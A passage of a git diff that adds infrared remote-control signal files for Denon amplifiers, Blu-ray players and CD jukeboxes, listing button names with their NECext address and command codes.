+name: PHONO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 41 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 42 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 43 00 00 00 +# +name: AUX/VIDEO-1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 44 00 00 00 +# +name: AUX/VIDEO-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 45 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 50 00 00 00 +# +name: TAPE_MONITOR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 58 00 00 00 +# +name: TAPE-1/1>2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 59 00 00 00 +# +name: TAPE-2/2>1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5A 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 81 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 82 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 83 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 84 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 8B 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 8C 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 8D 00 00 00 +# +name: AMP_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 90 00 00 00 +# +name: SOURCE_DIRECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 91 00 00 00 +# +name: TAPE-1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 99 00 00 00 +# +name: TAPE-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 9A 00 00 00 +# +name: SP-A +type: parsed +protocol: NECext +address: 02 00 00 00 +command: AC 00 00 00 +# +name: SP-B +type: parsed +protocol: NECext +address: 02 00 00 00 +command: AD 00 00 00 +# +name: SURR.AUT.BAL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C0 00 00 00 +# +name: AMP_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C1 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C1 00 00 00 +# +name: AMP_PHONO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C3 00 00 00 +# +name: AMP_CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C4 00 00 00 +# +name: AMP_TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C5 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C5 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C6 00 00 00 +# +name: AMP_DBS/BS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C8 00 00 00 +# +name: DBS/BS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C8 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 02 00 00 00 +command: C9 00 00 00 +# +name: AMP_VDP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CA 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CA 00 00 00 +# +name: AMP_V.AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: V.AUX +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CC 00 00 00 +# +name: AMP_VCR-1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CD 00 00 00 +# +name: VCR-1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CD 00 00 00 +# +name: AMP_VCR-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CE 00 00 00 +# +name: VCR-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: CE 00 00 00 +# +name: AMP_DAT/TAPE-1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D2 00 00 00 +# +name: TAPE-1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D2 00 00 00 +# +name: AMP_DAT/TAPE-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D3 00 00 00 +# +name: DAT/TAPE-2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D3 00 00 00 +# +name: AMP_CINEMA +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D5 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D5 00 00 00 +# +name: AMP_VIDEO_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D8 00 00 00 +# +name: VIDEO_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D8 00 00 00 +# +name: AMP_A.V.S.E +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D9 00 00 00 +# +name: A.V.S.E +type: parsed +protocol: NECext +address: 02 00 00 00 +command: D9 00 00 00 +# +name: AMP_REC_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DB 00 00 00 +# +name: AUDIO_REC_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DB 00 00 00 +# +name: AMP_PANEL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DE 00 00 00 +# +name: PANEL +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DE 00 00 00 +# +name: AMP_SCREEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DF 00 00 00 +# +name: ON_SCREEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: DF 00 00 00 +# +name: AMP_CENTER_MODE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E4 00 00 00 +# +name: SURROUND_CENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E4 00 00 00 +# +name: AMP_SURR.MODE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E6 00 00 00 +# +name: SURROUND_MODE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E6 00 00 00 +# +name: AMP_BYPASS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E7 00 00 00 +# +name: AMP_DELAY_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E8 00 00 00 +# +name: SURR.DELAY_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E8 00 00 00 +# +name: AMP_DELAY_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E9 00 00 00 +# +name: SURR.DELAY_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: E9 00 00 00 +# +name: AMP_T.TONE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EA 00 00 00 +# +name: SURR./PARAM.T.TONE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EA 00 00 00 +# +name: 3CH_LOGIC +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EB 00 00 00 +# +name: AMP_CENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EC 00 00 00 +# +name: OUTPUT_CENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EC 00 00 00 +# +name: AMP_REAR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: ED 00 00 00 +# +name: OUTPUT_REAR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: ED 00 00 00 +# +name: AMP_SP-A +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EE 00 00 00 +# +name: OUTPUT_FRONT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EE 00 00 00 +# +name: AMP_SP-B +type: parsed +protocol: NECext +address: 02 00 00 00 +command: EF 00 00 00 +# +name: AMP_MUTING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F0 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F0 00 00 00 +# +name: AMP_MASTER_VOL_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F1 00 00 00 +# +name: MASTER_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F1 00 00 00 +# +name: AMP_MASTER_VOL_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F2 00 00 00 +# +name: MASTER_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F2 00 00 00 +# +name: AMP_REAR_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F3 00 00 00 +# +name: SURR.REAR_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F3 00 00 00 +# +name: AMP_REAR_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F4 00 00 00 +# +name: SURR.REAR_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F4 00 00 00 +# +name: AMP_CENTER_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F5 00 00 00 +# +name: SURR.CENTER_^ +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F5 00 00 00 +# +name: AMP_CENTER_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F6 00 00 00 +# +name: SURR.CENTER_V +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F6 00 00 00 +# +name: AMP_BALANCE_< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F7 00 00 00 +# +name: SURR.BAL_< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F7 00 00 00 +# +name: AMP_BALANCE_> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F8 00 00 00 +# +name: SURR.BAL_> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: F8 00 00 00 +# +name: AMP_VDP_DIRECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/4,-1.ir new file mode 100644 index 000000000..d1095a437 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/4,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: DECK_A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: DECK1_A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: DECK_SELECT_A/B +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 53 00 00 00 +# +name: DECK_REV_PLAY_< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 57 00 00 00 +# +name: DECK1_REV_PLAY_< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 57 00 00 00 +# +name: DECK_PLAY_REV_< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 57 00 00 00 +# +name: DECK_PLAY(REV)_< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 57 00 00 00 +# +name: DECK_PLAY_REV._< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 57 00 00 00 +# +name: DECK_FF_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: DECK1_FF_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5A 00 00 00 +# +name: DECK_REW_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: DECK1_REW_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5B 00 00 00 +# +name: DECK_PLAY_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: DECK1_PLAY_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5C 00 00 00 +# +name: DECK_PAUSE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 +# +name: DECK1_PAUSE_ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5D 00 00 00 +# +name: DECK_STOP_[] +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5E 00 00 00 +# +name: DECK1_STOP_[] +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5E 00 00 00 +# +name: DECK_REC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5F 00 00 00 +# +name: DECK1_REC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 5F 00 00 00 +# +name: DECK_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 75 00 00 00 +# +name: DAT_SRCH_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D8 00 00 00 +# +name: DAT1_SRCH_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D8 00 00 00 +# +name: DAT_SRCH_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D9 00 00 00 +# +name: DAT1_SRCH_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: D9 00 00 00 +# +name: DAT_FF_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DA 00 00 00 +# +name: DAT1_FF_>> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DA 00 00 00 +# +name: DAT_REW_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DB 00 00 00 +# +name: DAT1_REW_<< +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DB 00 00 00 +# +name: DAT_PLAY_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DC 00 00 00 +# +name: DAT1_PLAY_> +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DC 00 00 00 +# +name: DAT_PAUSE_ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DD 00 00 00 +# +name: DAT1_PAUSE_ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DD 00 00 00 +# +name: DAT_STOP_[] +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DE 00 00 00 +# +name: DAT1_STOP_[] +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DE 00 00 00 +# +name: DAT_REC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DF 00 00 00 +# +name: DAT1_REC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/6,-1.ir new file mode 100644 index 000000000..5fff0cc8f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/6,-1.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: VDP_POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 81 00 00 00 +# +name: VDP1_POWER +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 81 00 00 00 +# +name: VDP_STOP_[] +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 83 00 00 00 +# +name: VDP1_STOP_[] +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 83 00 00 00 +# +name: VDP_PLAY_> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 84 00 00 00 +# +name: VDP1_PLAY_> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 84 00 00 00 +# +name: VDP_PAUSE_ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 85 00 00 00 +# +name: VDP1_PAUSE_ +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 85 00 00 00 +# +name: VDP_SEARCH_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 86 00 00 00 +# +name: VDP1_SRCH_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 86 00 00 00 +# +name: VDP_SEARCH_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 87 00 00 00 +# +name: VDP1_SRCH_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 87 00 00 00 +# +name: VDP_FF_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 88 00 00 00 +# +name: VDP1_FF_>> +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 88 00 00 00 +# +name: VDP_REW_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 89 00 00 00 +# +name: VDP1_REW_<< +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 89 00 00 00 +# +name: VDP1_DISPLAY +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 93 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/8,-1.ir new file mode 100644 index 000000000..8bd30e786 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Amplifier/8,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: REPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: CD_REPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: CD_SKIP_FWD_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: CD_SKIP_REV_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: CD_SCAN_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: CD_SCAN_FFWD_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: CD_SCAN_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: CD_SCAN_REV_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: CD_PLAY_> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: CD_PAUSE_ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: CD_STOP_[] +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: DISC_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 64 00 00 00 +# +name: DISC_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 65 00 00 00 +# +name: DISC_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 66 00 00 00 +# +name: DISC_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 67 00 00 00 +# +name: DISC_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 68 00 00 00 +# +name: DISC_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 69 00 00 00 +# +name: CD_DISC_SKIP_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: CD_SKIP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: CD_POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 73 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir new file mode 100644 index 000000000..30217ab2d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 06 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 08 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 0A 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 0D 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 0E 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 0F 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 10 00 00 00 +# +name: POP_UP_MENU +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 11 00 00 00 +# +name: RETURN +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 12 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 13 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 16 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 17 00 00 00 +# +name: TRACK_>> +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 18 00 00 00 +# +name: TRACK_<< +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 19 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1A 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1C 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1D 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 20 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 21 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 23 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 28 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 29 00 00 00 +# +name: A-B_REPEAT +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2A 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2B 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2C 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2D 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2F 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 30 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 30 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 31 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 32 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 33 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 34 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 35 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 39 00 00 00 +# +name: PURE_DIRECT +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir new file mode 100644 index 000000000..5edc9e794 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir @@ -0,0 +1,44 @@ +Filetype: IR signals file +Version: 1 +# +name: REPEAT_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: C0 00 00 00 +# +name: MODE_OFF +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FA 00 00 00 +# +name: CROSS_FADE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FB 00 00 00 +# +name: ALL_DISCS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FC 00 00 00 +# +name: 1_DISC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FD 00 00 00 +# +name: REPEAT_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FE 00 00 00 +# +name: BEST_HIT +type: parsed +protocol: NECext +address: 04 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir new file mode 100644 index 000000000..7f3d55f31 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir @@ -0,0 +1,344 @@ +Filetype: IR signals file +Version: 1 +# +name: DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 40 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 41 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 42 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 43 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 44 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 47 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 48 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 49 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4A 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4B 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4C 00 00 00 +# +name: PROG/DIRECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4D 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4E 00 00 00 +# +name: VOLUME- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: CALL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 52 00 00 00 +# +name: TIME +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: TIME/TEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 53 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: REPEAT_ALL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: CONTINUE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: >>I +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 58 00 00 00 +# +name: I<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 59 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5A 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5B 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5C 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5E 00 00 00 +# +name: DISC_SELECT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 62 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6A 00 00 00 +# +name: DISC_SKIP+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: DISC_SKIP_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: DISC_SKIP- +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: DISC_SKIP_DN +type: parsed +protocol: NECext +address: 